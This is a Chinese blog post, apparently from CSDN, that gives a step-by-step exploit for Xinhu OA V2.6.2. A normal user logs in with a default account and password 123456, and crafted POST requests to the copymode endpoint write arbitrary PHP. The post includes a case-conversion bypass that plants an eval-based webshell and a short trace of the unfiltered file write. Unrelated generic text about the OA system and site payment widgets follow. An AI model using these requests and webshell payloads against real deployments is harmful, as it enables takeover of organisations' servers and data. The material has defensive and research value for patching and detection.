信呼OA普通用户权限getshell方法

本文详细描述了信呼OAV2.6.2版本的安全漏洞,包括如何利用getshell方法以及通过构造特定请求实现的任意文件写入漏洞,提醒用户注意更新和安全防护。
摘要由CSDN通过智能技术生成

0x01 前言

信呼OA是一款开源的OA系统,面向社会免费提供学习研究使用,采用PHP语言编写,搭建简单方便,在中小企业中具有较大的客户使用量。从公开的资产治理平台中匹配到目前互联中有超过1W+的客户使用案例。

信呼OA目前最新的版本是V2.6.2,发布时间是2023-12-22。作者整体上保持了较高的系统更频率,对历史爆出的安全问题也及时进行修复。目前网上能找到的信呼OA getshell的办法大多数是老版本或者是需要admin权限的,没有针对新版本进行getshell的思路。

0x02 步骤

本地搭建当前最新版的信呼OA系统V2.6.2,如下图所示。

图片

使用普通OA用户登陆,信呼OA安装之后默认存在账号diaochan/xiaoqiao/daqiao/rock/zhangfei/zhaozl等用户,密码都是123456。这里使用普通用户xiaoqiao登陆,然后构造下面的请求。

http://xinhu.test.com:8890/index.php?d=main&m=flow&a=copymode&ajaxbool=true
POST:id=1&name=a{};phpinfo ();class a

图片

生成的文件访问如下(以下两种方式均可):

http://xinhu.test.com:8890/webmain/flow/input/mode_a%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aAction.php

http://xinhu.test.com:8890/webmain/model/flow/2%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aModel.php

图片

由于传递的参数值会被全部转化为小写字母(下一步的漏洞分析中会提到),导致我们不能在webshell中使用大写字母,所以并不能直接写一句话webshell。绕过方式是可以通过下面的方式来转化一下一句话木马。

http://xinhu.test.com:8890/index.php?d=main&m=flow&a=copymode&ajaxbool=true
POST:id=1&name=a{};eval (strtoupper("eval (\$_request[1]);"));class a

运行之后访问下面的链接,由于链接中涉及到多个特殊字符,如果不清楚应该如何转义的请复制下面的链接。

http://xinhu.test.com:8890/webmain/flow/input/mode_a%7b%7d;eval%20(strtoupper(%22eval%20(%5c$_request%5b1%5d);%22));class%20aAction.php?1=echo%20md5(1);

图片

0x03 分析

在webmain/main/flow/flowAction.php文件中,其中copymodeAjax接收外部用户传入的参数,如下图所示。

图片

继续跟踪createtxt方法,如下所示,仅仅只是进行了文件写入操作,并没有进行过滤,导致任意文件写入漏洞。

图片

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
OA是一款开源的办公自动化系统,版本号为v1.8.3。下面是对其源码的回答: OA的源码包含了系统的全部代码,通过阅读源码可以了解系统的实现原理,同时也可以根据自己的需求进行二次开发和定制化。 在OA的源码中,可以看到系统的整体结构和各个模块的实现方式。它采用了MVC架构,将系统分为数据层、业务逻辑层和表示层。通过分层的设计方式,使系统的代码结构清晰,易于维护和扩展。 在数据层,可见对数据库的操作。通过对数据库的增删改查,实现了系统对数据的管理和存储。数据库设计合理,表结构清晰,能有效地提高系统的性能和扩展性。 在业务逻辑层,可以看到系统各个功能模块的实现代码。这些模块包括用户管理、角色权限管理、流程管理等。每个模块都有相应的代码文件,通过对这些文件的阅读和理解,可以了解到每个功能的实现细节。 在表示层,可以看到系统的前端界面代码。OA使用了HTML、CSS和JavaScript等前端技术,通过这些技术实现了系统的用户界面。前端代码也是模块化的,通过引入不同的组件和插件,可以实现不同样式的界面。 总的来说,OA的源码提供了系统的核心代码和实现细节,通过对其进行学习和理解,可以掌握系统的运行原理,并且可以根据自己的需求进行二次开发和定制化。同时,阅读源码也是学习软件开发的一种重要方式,可以提高自己的编码水平和理解能力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值